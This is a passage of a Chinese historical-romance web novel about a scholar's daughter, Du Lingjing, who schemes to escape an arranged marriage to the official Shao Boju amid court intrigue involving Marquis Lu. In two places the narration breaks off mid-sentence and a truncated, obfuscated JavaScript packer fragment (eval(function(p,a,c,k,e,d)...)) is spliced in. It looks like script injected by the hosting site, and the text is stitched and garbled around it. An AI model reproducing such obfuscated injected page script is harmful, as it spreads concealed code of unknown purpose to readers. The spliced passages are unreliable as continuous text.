话音未落,撩帘走进来一人,开口便道,“不用打听了,帖子送了,事办成了。” 杜润青和瑞雪皆抬头看过去。 “呀,管嬷嬷来了?”瑞雪连忙上前搀扶。 杜润青则不禁一喜,“嬷嬷怎么来了?” 来人正是万老夫人身边的管嬷嬷,最是老夫人的亲信。 杜润青让瑞雪沏了茶来,管嬷嬷先看了二夫人一眼,见她服了药睡得安稳,便坐到了窗下小灯边。 “是老夫人让老奴过来的,老夫人说姑娘年纪小,没经过这样的事,此番出了点岔子,必然要伤心的,遣了老奴前来宽宽姑娘的心。” 话音打得小灯火苗一颤,杜润青的眼泪倏地落了下来。 管嬷嬷哎呦了一声,连忙拿了帕子给她擦,可杜润青眼泪掉得更凶了。 原本,她只不过想要借母亲突然犯病,请外祖母顺理成章地到杜家来。 邵杜两家这门亲事,是外祖母在中间搭桥定下的,可爹爹被大姐说服出尔反尔,竟然不欲再提。莫说她眼看着机会流失心急,外祖母这边第一个不能答应。 外祖母这才交代她给母亲停两日的药,又支开了丫鬟们。她们本来只是想让母亲跑出来一趟而已,谁想母亲受了惊,竟然从石阶上摔了下来,磕破了额头... ... 杜润青回想到母亲满脸的血,心都颤了,此刻眼泪止不住,低声啜泣不迭。 管嬷嬷见她果然被万老夫人说中,连忙宽慰道。 “今日的事纯是意外,全是奴仆一惊一乍,吓到了夫人。” 杜润青还是捂着脸哭,“若不是我停了娘的药,又支开了人,娘怎么会落得险境?” 她仍自咎,管嬷嬷却道,“平日里好好的,姑娘难道会这般做吗?说到底,还不是因为你那大姐生事,先说服的叔父乱了章法,后又看管得全家无法动弹,老夫人同姑娘这才出此下策。” 这话说得杜润青哭声微顿,管嬷嬷抚上了她的肩头。 “姑娘莫要哭了。不管怎样此事成了。老夫人说姑娘甚是沉得住气,纵然出了点差错也没有乱了手脚,真真是要及笄的人,不一样了。” 外祖母的夸赞总算是止住了小姑娘的眼泪,自从母亲出事之后,她只觉天都塌了,幸亏外祖母让人接了母亲进京,又处处顾念她,教导她。 她不再哭了,管嬷嬷瞧着她通红的眼睛,打趣了一声。 “旁的不说,姑娘这落泪的模样真真是让人心疼。待及笄后嫁了人,还不知要惹得夫婿几多疼爱,铁骨铮铮也得化为绕指柔。” 杜润青的脸唰得一下就红了。 “嬷嬷说什么呢?我才多大?” 管嬷嬷却越发笑,“难道姑娘没有那中意的人?” 这话问得杜润青眉眼都不知该如何安放,连连低着头连脖颈都红透了去。 管嬷嬷笑得不行,却也不再打趣她,反而叹了一叹。 “姑娘这般才是女儿家的正途。却看姑娘那长姐,守着亡人不肯再嫁,父母不在了,她就该听从叔父的话,反而同叔父争执不下。女子岂该如此? “姑爷也是,这么大的事情,还真就被侄女说叫停就叫停了。当那邵氏要定的亲事,是闹着玩的不成?” 管嬷嬷想起了先前在万老夫人的马车上,老夫人提及亲事,杜姑爷还道罢了,说此事恐怕多有不妥。 老夫人忍不住就斥了他。 “你可真糊涂到家了!邵家的是你也说推就推,你怎么不直接往人家脸上打?让全京城人看着你打邵家的脸!” 杜姑爷彼时脸都白了,连道自己不是此意。老夫人却不再理会他,直接让人拿出备好的笔墨,看着他把名帖写了,马车直接载着他去了宗人府。 这才堪堪办成了此事。 杜润青听得怔怔,却也问了管嬷嬷,“我大姐若是再闹怎么办?” 管嬷嬷笑起来,“老夫人说了,你家大姑娘再有本事,还能去宫里把那名帖讨回来?还是说,她能让她那阁老父亲活过来,将她护在身后?” “都不能。”管嬷嬷哼笑了一声,“最多,她也就是在家中闹一闹,哭两场,翻不过天。这是京城,可不是她能搅得动的地方。” 嬷嬷不时就走了,杜润青送了嬷嬷回来,特往西路院里听了一听。 西路院一点动静都没有,安静得好像还什么都不知道。 杜润青隐隐有点不安,可嬷嬷说得也没错,姐姐还能怎样呢? * 西院。 秋霖抱着胳膊坐着床上气恼地流泪,她不想气哭出声让旁人听见,看了自家姑娘的笑话,但眼泪就是不争气地往下流。 “大老爷生前待二老爷不薄,有什么事不想着他,连置办宅院都替他单独置办一路,他倒好,大老爷过世这才几年,他就这样欺负自己的侄女?” 阮恭在旁叹气,拿了帕子给她擦眼泪,只听她又恼道。 “还有二姑娘,真是小瞧了她,作戏能做到这般田地?难怪哭得伤心,是没想到二夫人把头磕破吧?这会二夫人又受了伤,她同她那外祖母是不是还得怪咱们姑娘,没顺从二老爷的意思,才造成如此局面?是不是还得让人心疼她们受了委屈,还得宽慰她?” 阮恭脸色难看,“说到底,还是我们大意了。” 秋霖说确实,“都怪你,姑娘身边就我们俩了,你不处处给姑娘思量周全,年初还许愿让姑娘再遇良缘,说姑娘安稳了我们就能成亲了。这下好了,姑娘名帖进了宫里,婚事由不得自身了!” 阮恭和秋霖是自幼老子娘做主定的亲,但蒋三爷过世后,秋霖不忍的姑娘独身一人,迟迟不肯完婚,只想陪着姑娘。 阮恭这才说了那话。眼下阮恭叹气,“是怪我,我再不胡说了。” 可事已至此,秋霖越想如今境况,越气得不住掉泪,但她说自己不能再哭了,哭肿了眼睛岂不是更让人笑? 她一把抹了眼泪从床边下来,“姑娘在房中修古书,都一天没吃东西了。总得吃点什么吧?” 她端了点心往杜泠静房中去。 “姑娘吃点东西吧?这白米糕是我让阮恭从白塔寺下买来的,姑娘从前不是就好这口?” 她见姑娘只坐在窗下修古书,那树叶破损如残叶了,姑娘手下竹镊轻拈,另用宣纸垫在下面,辨认着上面模糊的字迹。 姑娘没答她的话,直到她端糕子走近,姑娘才抬头看了一眼天色。 “菖蒲从沧州回来了吗?” 姑娘嗓音略显低哑,可秋霖没有得到消息,垂丧摇头,“姑娘先吃点东西吧,他可能是路上耽搁了。” 杜泠静没动桌边的白米糕,只是看着天色,皱了皱眉。 “今日已是第三天了。” 今日是八月十二,菖蒲去沧州寻扈亭君的第三日,而再过三日,就是中秋节。 秋霖怎不知中秋一过,宫中赐婚圣旨就下来了?可菖蒲确实还没回。 然而就在此时,阮恭一步近到了门前。 “姑娘,菖蒲回来了!” 杜泠静当即将菖蒲叫了进来。 菖蒲刚从马上下来,腿都站不直,杜泠静问了一句信送到了吗,他大口的喘着粗气摇起头来。 “没,姑娘,没送到... ...” 杜泠静皱了眉,阮恭忍不住给了他一脚。 “你怎么回事?快说?” 秋霖见他实在口干舌燥,倒来一碗水给他灌了下去,“好了,别让姑娘等你,快说!” 菖蒲一口气缓过来,这才道。 “姑娘,扈家出事了!” 他说他到了沧州就直奔扈二娘子家中,谁料扈二娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确实,门外只有邵氏的轿子,没见侯爷的马。 杜泠静倒不在意那位侯爷来不来,她只听到邵伯举到了,心下暗定。 她穿过人声鼎沸的大堂,见大堂中间的主梯站满了人,只能转而往昏暗偏僻的角梯过去。 此间人略少了些,嘈杂的喧闹声也被一整排如墙的高灯屏蔽三分,阮恭先往前替杜泠静开了路,她抬脚往三楼雅间里走。 楼梯转过二楼时,她还特意往楼道上看了一眼,以免与人相撞。 谁想她目光刚收,一只脚迈了上去,楼道上竟冲过来两个男孩,两人横冲直撞,杜泠静来不及避闪,直被二人冲得身子向后一倾,刚抬起的脚瞬间往后跌了去。 她倒吸一气,急忙要去抓扶手之时,身后忽起一阵疾风。 有人一步到了她身后,她未及反应,来人已托住了她的身形,掌心托在了她的腰间。 枕月楼里喧闹依旧,人声乐声混在一处,高灯明火炽热发亮,照亮整座高楼。 杜泠静看到了身后扶住她的人。 男人英眉微压,轩昂挺立的鼻梁上横着两道浅浅的疤,他眼眸如墨石,此刻唇下轻抿。 “崴脚了吗?”男人嗓音哑而砥砺。 杜泠静未曾听见过这般嗓音,至于他脸庞,有一瞬她觉得自己见过,但却细想不起来了。 她一时没回他的话,却觉托在她腰间的手掌,暗热传来,与此一道传来的,还有他微微增持的力道。 那力道中暗藏这说不清的掌控,方才那句问话又隐含着道不明的亲密。 似乎她与他之间的关系,远不止于此。 杜泠静一怔,旋即从他手掌中脱了出来。 男人就站在她下一阶台阶上,却比她还略过几分,高灯余光照的他眼眸几不可察地波动了一下。 他见她并无大碍,只看过来,哑砺的嗓音轻声道了一句。 “枕月楼这两日人太多了,处处不便。”他说着顿了一下,又开了口,目光轻轻落在她的眼睫上,嗓音似乎更低了。 “此间没什么好人,不来也罢。” 喧闹的人声乐声,把楼道里的灯波动开来,杜泠静看到暗红的灯光,摇动在他如墨石般的眼瞳上,映的他仿佛眸色温软,似乎在等她听进他这声劝,转身离开不见邵伯举了。 杜泠静恍惚了一下。 但下一息,她眉头轻蹙。 “抱歉,我认识阁下吗?” 7. 第 7 章 “抱歉,我认识阁下吗?” 此言一出,男人身形顿了顿。 有一行人从走道鱼贯而过,越发遮挡了走廊下的灯火,楼梯间内光亮与乐声一道,暗下三分。 她目光困惑中带着些审视地落过来。 男人唇下微抿,目光在她的审视下收了收。 “原是我抱歉,是我认错了人。” 他说认错,杜泠静才心下暗松一气。 以他方才的言语与动作,若不是认错,该是她不安了。 但男人通身散发着莫名令她不欲接近的气息,杜泠静莫名地不想同他深交,浅行一礼便转身要走。 只是她刚转过身去,他的声音又从背后响起。 “不过枕月楼这几日确实杂乱了些,姑娘可以往灯市上旁的小茶馆雅坐闲饮,更加宜人。” 他还相劝。 杜泠静不禁挑了眉,再回头看他时神色微绷。 灯火越加昏暗,热闹大堂里的热融之气沉落下来,有微凉的风从楼梯间穿梭而过。 男人微顿,“当然... ...枕月楼自有枕月楼的景色,只是,也莫要停留太久才好。” 他说完,不再多言了。 杜泠静不知道此人怎么对枕月楼有这么大的不满,但她实在不想同他纠缠。 “多谢告知。” 恰阮恭从楼上跑回来接她,她转身快步离了去。 她一走,连楼道里隐隐飘着的细微书香也一并带走了。 转动的灯照出深浅不一的光,在男人脸上流转。 男人轻轻闭了闭眼睛。 一旁隐蔽的墙角里。 侍卫崇安从后瞧着自家侯爷,忍不住跟自家大哥崇平小声问了一句。 “哥,枕月楼欠侯爷钱了?” 崇平:“... ...没有。” “那,枕月楼给侯爷醋喝了?侯爷说话怎么这么酸?” 崇平强忍着才没有呛出声,却看见侯爷身形微滞。 “快闭嘴!” 话音未落,男人转过头问了过来。 “可在楼里也定了雅间?在何处?” 崇平低头上前回话,“在西楼三楼。” 邵氏将枕月楼东楼最宽敞的雅间定了,崇平只能定了西楼最好的街景。 他见侯爷这时,才抬脚继续往上走。 “过去坐坐。” * 枕月楼东楼,杜泠静由人引着进了雅间。 此间雅致宽阔,几乎占了半边茶楼,画屏雕窗,名瓷香茶,无一不精。而她要见的人已经负手立在窗前,通身绛紫锦袍,头戴金玉冠,杜泠静一时间竟无法将他与记忆里的人重合。 约莫是十一二年前,她刚经扈家兄妹认识邵伯举的时候,邵家日子过得窘迫,他总是穿着不太合身的布衣布衫。 扈亭君每季给大哥做衣裳的时候,也替邵伯举也做上一身,免得他穿不合身的布衣旧衫,总是遭人白眼... ... 十多年前的事,模糊的像晨间的薄雾,转头去追忆,早已消散在高升的日光中。 但此时的邵伯举,通身气派早非从前,杜泠静神思恍了一恍。而他自窗前转过了身来。 英眉深目,顾盼神飞。 杜泠静上前见礼,他抬手虚扶,“静娘来了,不必多礼。” 杜泠静这才起身,见他身侧还站了个人,相貌同他有四五分相似。邵伯举道此人是他堂弟,行五,唤作邵伍兴。 杜泠静隐约记得邵伯举叔伯兄弟只有四人,不知这何时又添老五,看着年岁也双十上下,生着一管鹰钩鼻,眼神略显锐利。 “杜姑娘大安。” 邵伍兴跟她见礼,杜泠静也依礼回了他。 三人这才落座下来,枕月楼的掌柜亲自来上了茶,又跟邵伯举客气了两句退了去。 邵伯举一切应对悉如常态,再无当年的半分窘迫之态。 杜泠静自也打起精神,先同他寒暄了几句。她没直接提及两家的亲事,但话锋略略一转,转到了扈家兄妹上。 “我先前让人往亭君家中探望,竟得了消息说亭君夫妻连同扈大哥阖家,都不知去往了何处,也没留下什么口信,不知邵大哥可知晓此事?” 她问了来,见邵伯举了然地应了一声,“此事我也正奇怪,派人去寻尚未寻到。小伍,”他叫了邵伍兴一声,“可寻出些眉目了?” 邵伍兴摇了摇头,“大哥,我前两日又加派了人手,但还没有消息传回来,不过估摸着也快了。” 邵伯举嘱咐了他一句,“那就再多派些人去。” “是。” 两人说完,杜泠静见邵伯举朝她看过来。 “扈家的事我自会上心,静娘刚回京城,不若四下消遣,别太忧心。” 杜泠静缓缓点头,但下一息她抬眼看住了邵伯举。 “邵大哥说得是。不过此前亭君给我的信里到提及了一桩事,或与他们兄妹眼下情形有关。” 话音落地,她只见邵伯举眸光一凝,而他身侧的堂弟邵伍兴,则几不可察地双眼一眯。 “何事?”邵伯举问来。 “亭君给我的信中道,若我来京,请我务必到积水潭西的林中寻一物,”杜泠静脸上露出细细回忆的模样,“她说此物甚是重要,让我务必寻到保存起来。” 她说完,见邵伍兴鹰钩鼻侧双眼一颤,而邵伯举径直开口向她问来。 “那是何物?静娘寻到了?” 兄弟二人皆紧看向她,杜泠静面上不露分毫,只慢慢摇了头。 “我让人去寻了两次,什么都没找到。” 这话令邵伍兴似松了口气,邵伯举也缓了缓凝住的眸光。 杜泠静问他,“邵大哥知道是何物吗?亭君是不是弄错了地方?” “我也不知是何物。但你两番派人去都没有,可见不在此地,定是弄错了。” 杜泠静“嗯”了一声。 扈氏兄妹齐齐失踪一月有余,邵伯举却与她将这样的大事,说得轻描淡写。 杜泠静默然看了看这个她早已不熟识的探花郎。 而邵伯举却提及了另外的事。 “倒是我们两家的亲事... ...”他向杜泠静看了过来,跟她笑了笑,“静娘都知道了吧?” 杜泠静点了点头。 邵伯举目光略柔和了些,“你安心嫁过来吧,我不会亏待你。” 这算是一句承诺? 杜泠静还未听闻过这般如同街市买卖一般的承诺。 但她顺着邵伯举这话,垂眸道了一句,“我知道了。” 话到此处,似乎也没什么可再谈。 即将成婚的关系,却浅淡得堪比买卖双方。 邵伯举往门外问了一句,长随道还有人在旁处等他,邵伯举便起了身来。 “静娘多年不来京中,既然来了枕月楼便好生游玩一番,只是我还有要事在身,就不相陪了。” 杜泠静知事地行了礼,送他出了门去。 他一走,杜泠静也无意在这精致却闷窒的雅间再坐。她让阮恭去楼下大厅里寻了一张小桌。 夜幕笼不到亮如白昼的枕月楼,舞姬携灯流连台上,歌舞乐声飞扬。 杜泠静在窗下的小桌边坐了下来,“就在这里等着吧。” 阮恭在旁道是,又低声道了句,“我已照着姑娘的吩咐,让菖蒲守在积水潭了。” 杜泠静颔首,又拨了盏中茶叶饮了口茶。 所谓扈亭君给她书信,让她去积水潭寻物的事,根本不存在,她也告诉了邵伯举那里什么都没有。 但若是邵伯举还是去了积水潭... ... 杜泠静慢慢饮着手中香茗。 枕月楼里挤满了人,饶是她坐得偏僻了些,却不耽搁听茶客热火朝天的言语。 离着中秋还有一日,整座茶楼再没有第二个话题。 这会就有人说着今岁要联姻的高门,“... ...都等着皇上赐婚,月老都没皇上这么忙。但皇上今岁得先紧着那二位来,旁人未必顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼梯上对她“好言相劝”的那位。 她不知此人是谁,但却听见一旁有人小声说了一句,“原来陆侯爷真的来了?” 陆侯? 杜泠静恍了一恍。 永定侯,陆慎如? 她抬眼看去,男人的目光扫过众人,不知怎么,恰向她这处落了过来。 杜泠静一愣,下意识扭头别开了去。 她没再看,但余光却隐隐瞧见男人似乎又在栏杆前停留了一息,接着转身离了去。 随着他身形消失,大堂里又迅速恢复喧闹交谈,只是这次茶客言语中的兴奋掩都掩不住了。 “原来侯爷真来了!枕月楼东楼接了邵探花,西楼请了陆侯爷,今日是什么日子,什么人能让这二位都来此?” 离着中秋夜还有一日,但枕月楼已鼎沸地越过了中秋。 杜泠静微微蹙眉。 邵伯举是她请来的,但那位侯爷... ... 不知怎么,她耳边莫名地回荡起男人低哑的嗓音。 “此间没什么好人,不来也罢。” 他的掌心暗暗发烫,握在她腰间的手力道不减反重... ... 杜泠静神思一掠,未及收回,菖蒲忽从门前跑了过来.他从积水潭回来了。 菖蒲一个箭步上前,到了她耳边。 菖蒲的话说完,杜泠静深吸一口气,缓缓吐了出来。 阮恭细细瞧着她的神思,见她神色变幻了一时,却忽的问了个奇怪的问题。 “千兴坊里,是不是也有许多人押邵伯举与我的婚事?” 阮恭还没回答,菖蒲赶忙道,“是呢姑娘,他们都等着圣旨赐婚邵家和杜家,赚上一笔呢!” 但阮恭见姑娘极淡的笑了笑,慢慢放下了手中茶碗。 “那恐怕,要让他们失望了。” 8. 第 8 章 两刻钟前。 邵伯举刚离开枕月楼,其堂弟邵伍兴带人围了积水潭西侧,莫说西侧树林,连同周遭人家都遭到了暗暗的盘查。 得亏是菖蒲脚程快,在邵氏的人手发现他之前,猫儿似得窜了出去。 此刻他到枕月楼把话都同杜泠静说了,“姑娘,小的瞧着那邵伍兴脸色紧得很,像是要掘地三尺也要把东西掘出来一样。” 杜泠静不禁摇了头。 那处没有东西,她跟邵氏兄弟说过了,那里什么都没有。 但是邵氏,到底是有多不死心。 扈家兄妹到底出了什么事,她不知道,倒是阮恭提醒了她一句。 “姑娘,离着中秋,只还要一日了。” 中秋一过,赐婚的圣旨就要下来了。 杜泠静点点头,阮恭不太明白姑娘的意思。 但枕月楼里众人越论越起兴。 “邵氏联姻阁老独女,永定侯府必是要娶贵勋千金。不知是杜家对邵氏的助益大,还是贵勋贵女让陆侯爷如虎添翼!” “所以侯爷到底要娶哪家贵女啊?” “那就得看谁家肯同侯爷尽力襄助,”说话的人声音小了几分,“压得住邵氏同杜家。” 众人知道的就这么多,再论也论不出旁的切实消息来。有人提了一句。 “怎么样,到底要不要往千兴坊里转转,耍点钱,押几把?” 这提议一出,一众人都摸向自己腰间钱袋。 “怎么押才能赢?” “赌钱吗,自是有输有赢。”其中一个深谙此道的人,帮众人理了理。 “若是想要求稳,想都不想押宝邵氏同杜家的联姻就成了。” 他道许多人都押这个,“听说是顾家那位万老夫人做的媒。万老夫人你们知道吧,前年皇上御赐的岭南大族刘氏和都察院副都御使章家的亲事,这两家可是八竿子打不着,据说牵线的,正是万老夫人。章家位高却出身寒门,无依无靠;岭南刘氏盘踞一方,却京中无人。万老夫人能把这两家牵在一处,还得了圣旨赐婚,这两年,万老夫人才是高门大户间真真的月老。” 他说邵氏和杜家也是这位老夫人的手笔,“你们自个儿想想,能不成吗?” 众人一听口袋里的钱就压不住了,但也有人道,若都押一样的,便赢不到钱了。 “这话说得正是,所以若不想一味求稳,赌点刺激的,那就押在陆侯爷身上。”他说,“就压侯爷今岁会不会娶妻,更细呢,就直接押侯爷娶哪家的贵女,这要是赢了,可就赚大了。” 每岁中秋,押宝陆侯的人数都数不过来,但侯夫人可从没出现过,今年到这会也没消息,也难说的很。 无非是有一人,突然押了五百两,押侯爷今岁娶妻,引得众人又骚动起来。 不过还是有人问,“除了侯爷娶妻,可还有更刺激的?” “有啊,”众人都向那人看去,那人道,“那还是得邵家和杜家。别正着押联姻,你押反啊!” 反过来,押两家联不成姻。 这话一出,哄堂大笑。 菖蒲却跃跃欲试,从鞋头里抠出好几块碎银子来,拢了拢往杜泠静脸前捧来。 杜泠静连忙让他站住不必再往前。 “就站在那说吧。” 菖蒲攥了拳头,“小的家当都在这里,小的也要押点!” 阮恭给了他一脚,“你小子敢赌钱?还当着姑娘的面?” 菖蒲赶紧捂了屁股,“小的这不是去给姑娘长志气吗?我把身家都赌上,押反!押邵氏娶不成姑娘!” 他说完,又补了一句,“为了姑娘不跌份儿,小的这点钱打水漂也认了!” 阮恭更一脚踢过去,差点将他踹翻。 “你小子再说衰话?” 只是阮恭话音未落,却听见姑娘叫了菖蒲。 “帮我也押点吧。” “姑娘?”阮恭还以为自己听错了。 菖蒲则跳了起来,“姑娘押多少?” 杜泠静想了想,“最多是五百两吗?” 菖蒲猛猛点头,杜泠静道,“那我押五百两,押反。” 五百两!阮恭都说不出话来了。 他家姑娘是正儿八经的读书人,什么时候碰过这些劳什子。这一出手,竟押了五百两进去! 菖蒲却顾不得阮恭的眼神,只兴奋得恨不能立刻跑去千兴坊。 “姑娘也跟我一起赌钱了!” 声音有点大。 杜泠静咳了一声,这个词确实不太好听,她订正了一下。 “是博.采彡。” 菖蒲眼睛都亮了,“对对对,还是姑娘文雅,小的这就替姑娘博.采彡去!” 杜泠静抿唇笑了笑。 阮恭咬牙切齿,姑娘都被这小子带坏了! * 从灯市到整条崇文门里街,灯火耀眼,热闹非凡,尤其东南角明时坊南的泡子河,水波映着灯火荡漾,细碎的光亮如鱼鳞闪耀,沿岸聚满了人。 杜润青难得也带着丫鬟上了街,她平素都在家中照看母亲,再没有闲暇。 这会一路走到泡子河附近,满街的人都在议论中秋赐婚的事,莫说千兴坊,连泡子河旁边的小赌坊,也开了场押宝贵胄联姻之事。 杜润青稍稍一听,耳中便听到了,有人押五百两,押永定侯今岁娶妻。 “真的吗?”她不禁问了一句。 丫鬟瑞雪却道不可能,“哪年没有人押侯爷娶妻,还不都是没影的事,姑娘别信。” 这话说得不错,而除了陆侯的事,瑞雪道,“反倒是押大姑娘和邵探花的,更多些。明眼人都看得出来,这事必成。” 自大姐突然来京,短短几日,闹得家中人仰马翻。 但听了连街上人都如此笃定,她心下松了一口气。 她叫了瑞雪往泡子河边走了几步,有小贩立刻上了前来。 “姑娘可是来许愿的?咱们今岁请了大师给河灯开光,买咱们的河灯许愿最是灵验。若是许给心上人的,只要虔诚,心里默念着心上人的名字,手里这根红线呀,一准去到心上人手里。可准了!” 小伙计叫卖起自家河灯不遗余力,瑞雪则翻了个白眼。 “说得再好,泡子河又不能通到九天星河上去,还不都让小孩子捞去玩了?” 卖河灯的小贩被噎得够呛,转身要走。 杜润青叫了瑞雪一声,“拿钱吧。我买一盏河灯。” 瑞雪愣住,小贩嘴角都咧到了耳根,连忙挑了一盏最精巧的递到杜润青手中。 “姑娘只要在心中默念,红线自会递去心上人手里!” 杜润青接了过来,脸色在河灯的映衬下微微泛红。她轻轻咬唇,走到了河边,双眼闭了起来,片刻后,指尖轻推河灯漂进了仿若天河的小河里。 回程的路上,瑞雪见自家姑娘脸色红晕未退,低声偷笑,“姑娘可真信那小贩的话。” 杜润青脸色更红了,刚要说什么,见母亲陪房的小厮寻了她来。 “是有何事?” 那小厮低声道,“二姑娘,方才小的跟着大姑娘,见他们往枕月楼里,去见了邵探花。” 杜润青吃了一惊。 大姐这么不想嫁邵伯举,怎么还去见了人,别是要生变吧。 她连忙叫了那小厮。 “去告诉父亲,不,”她忽的一转,“你去顾家,告诉我外祖母!” * 黄华坊顾府,同澄清坊杜家只隔着一条崇文门里街。 小厮到的时候,顾府荣语堂笑语晏晏,奉老夫人命刚出了趟远门的顾夫人梁氏,带了好消息回来。 “... ...济南黄氏、顺德沈氏,都给母亲送了东西过来。他们都说家中女儿不懂规矩,往后是嫁不好的,想干脆就送到咱们府上来,跟在您身边见见世面,至于一概用度,自是不用咱们操心。” 万老夫人听了不住摇头,但眼角的笑褶却抬了起来。 “真真是,自去岁便有人想把姑娘家送到我园子里来,我忙不过来没应,今岁反而更多了。” 梁氏上前恭顺地给婆母捏了肩,“他们哪里养得好姑娘?若论调教待嫁的姑娘,还得是母亲您。” 万老夫人更摇头了,“我确实比他们经得多谢,但他们不就是想借我的手,将姑娘家嫁进高门吗?” 梁氏连连道是,又问了句,“那咱们可要接这些姑娘来京?” 万老夫人缓缓点了头,“自是要接的,只不过等一等。” “母亲要等什么时候?” 万老夫人由着她捏着肩,闭起了眼睛。 “就等到中秋过完,皇上给邵氏和杜家赐婚的圣旨下来。” 梁氏顿时明白过来。 这两家联姻由着圣旨赐婚定下来,再要往顾家送姑娘来的人家,只会更多,也更掂量掂量,他们能给顾家、给老夫人都带来些什么。 高门联姻,从来联的不是佳偶良缘。 说话的工夫,杜润青打发来传话的小厮急匆匆上前把话说了。 相比他的匆促,万老夫人却只颔了颔首,没当回事。 小厮不知所措,万老夫人这才开口。 “回去跟青儿说,纵然见了邵伯举又能怎样?邵家要娶,不是她同邵伯举说两句就能算了的,箭在弦上,势必要发。这婚事成也得成,不成也得成,不是她能拦得了的。” 小厮记下这话,往杜家去了。 万老夫人由儿媳伺候着喝了口茶,又是摇头。 “这做女人最怕的就是读太多的书。这些书都是男人写的,也都是写给男人的,女人读了只会以为自己也能给自己做主,殊不知这般才是害了自己,以为自己无所不能了。” 梁氏连忙躬下身去,聆听婆母教诲。 万老夫人并没将她叫起来,只看这手边放着的几本书,道了句。 “自明日起,家中姑娘们的学堂,读书的课业齐齐砍掉一半,便是留下来的,也只读些《女训》《女戒》,多让她们操持家宅之事,学着替父兄夫婿分忧,自比什么课业都强了。” 梁氏不敢有他言,越发躬身,“ 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管嬷嬷也说不清来源,道是一夜之间起来的话,“扈家兄妹似是失踪了一月有余,那扈家大爷可是进士出身,他失踪月余京里竟然没什么人知道,眼下都在传这是邵氏的手笔,眼下扈家恐怕已经有人被害了!害人的正是邵家。” 万老夫人眉头越挑越高。 管嬷嬷说不清来源,但梁氏低声问了一句,“娘,不会是杜家那位姑娘,让人传的吧?” 眼下最不想赐婚落定的,也就是她了。 万老夫人一顿,忽的嗤笑出声。 “她一个姑娘家,真当这京城,是她能搅得动的?坊间传闻罢了,她未免太把自己当一回事。” * 澄清坊杜府。 秋霖让小丫鬟艾叶出去打听了一番,转了回来。 “姑娘,眼下传闻已到处都是。” 她道,“恰有人看见邵家人昨日围了积水潭西侧,不知在挖些什么。有传说是脏污,有传道是证据,还有传说是... ...尸身!这话可是越传越奇了。姑娘这一招真真是厉害,咱们的名帖是拿不出来了,但直接让邵伯举圣前失宠,将他一举抽出去,这不也是一样的吗?” 秋霖不免兴奋,但阮恭素来谨慎,他看向姑娘。 “可就算坊间再怎么传,没证据的事,真能把邵氏怎样?” 扈家兄妹失踪月余,邵氏能让京中朝上无人注意,眼下一点流言蜚语,又怎么撼动邵伯举的近前红人的荣宠? 阮恭问去,杜泠静也点了头。 “我确实没有扳倒探花的本事。” 京城是什么地方,是连父亲都折戟沉沙的地方。她自然是没有那等本领。 她只想把自己抽身出去,只想等中秋一过,她还能安稳地上路,早早地返回青州。 “但是,这京中自然有的是人想看邵伯举跌落。”杜泠静微顿,眼前浮现出昨日枕月楼里,男人立在高楼栏杆前的挺峻身形。 “我能做的,不过是替这些权臣贵胄,点一簇小小的火苗而已。” 话音落地,窗外的风咣当吹开了虚掩的雕花窗。 * 积庆坊,永定侯府。 侯府幕僚们挤满了前院议事厅,众人难掩兴奋地论着昨夜突然冒出的传闻,说到兴处,声音都要将侯府议事厅的屋檐掀了。 外面突然传了话,“侯爷来了。” 众人赶忙收了声,都向议事厅外看去,只见男人着一身墨绿锦袍,自门外的晨曦中,阔步前来,抬脚踏入了厅中。 众幕僚齐齐行礼,他道免礼,“诸君所议之事,我方才也听闻了。” 他只浅浅提了这一句,众人的兴奋又扬了起来。 其中一个姓余的幕僚一步上前。 “侯爷,不管此事真假,此番正是咱们的机会。” “这几年,邵氏为雍王拉拢人脉,交结朝臣,有窦阁老撑腰,如今连地方大员都向雍王一党倾斜。偏生皇上爱重那邵氏才气,多有青眼。眼下他们只捏着无嫡立长的说辞,连番上书请求皇上侧立储君,又道雍王贤良,邵氏亦是清流文臣,储君之位别无二选,皇上难免动摇。” 余幕僚道,“但若是此番扈氏兄妹的事情坐实,邵伯举自己失宠事小,将整个邵氏乃至雍王一党的贤名齐拉下去,才是大事。皇上最是爱才,怎能见得堂堂进士就这么被人谋害?” 他说着,倒也有三分犹豫,“只是不晓得是何人传言?又意欲何为?但咱们... ...要不要查一查?” 众人也都有此顾虑,可却见侯爷摇了摇头。 “不要查。” 接着又说了一句,让人不太明了的话,本就低哑的嗓音更深几分。 “且让她松快一些。” 众人不知侯爷这话是什么意思,你看看我,我看看你。 还余幕僚问了一句。 “侯爷,那咱们到底如何?可要顺那人之意?” 厅中静默等待,立在人群中央的君侯缓缓道了四个字。 “倾力相助。” 9. 第 9 章 京城,未至晚间就喧闹了起来,待到翌日上晌,也就是八月望日,中秋祭月节当天,满街都是巡查的府兵和锦衣卫的人。 有人往顺天府报了案,道扈廷澜兄妹阖家失踪月余,恐遇不测,必须尽快搜寻。而扈廷澜乃是进士出身,朝中官员,他在真定失踪月余都没人上报京中,锦衣卫北镇抚使直接派人往真定查究。 街上除了搜寻的人,便是不胫而走的消息,似乎各家各户都派出了耳目探听消息,邵伯举门前一空,但附近的小巷里挤挤挨挨藏满探头探脑的人。 邵伍兴从门缝里看了一眼,鹰钩鼻抽了一抽,手下仆从无一人敢出声。 他快步到了书房门口,见一个幕僚模样的人刚从里面走出来,走到门口还不忘道一句。 “大老爷让您谨言慎行,好自为之,莫要拖累邵氏和雍王殿下。” 那幕僚说完快步走了,与邵伍兴擦身而过时自眼角看了他一眼,没行礼就离了去。 邵伍兴紧闭了唇,又快步进到了书房里。 “哥,大伯父怎么说?” 方才那幕僚正是邵家的当家人,邵伯举与邵伍兴的大伯父邵遵的人。 先前邵伯举点中探花,荣宠无上,邵大老爷邵遵自然不多说什么,眼下稍见风声,就派了幕僚前来。 邵伍兴问过去,邵伯举轻哼一声。 “自是训斥了一番,让我不要带累了邵家和殿下,若出了事,邵氏不会替我兜底。” 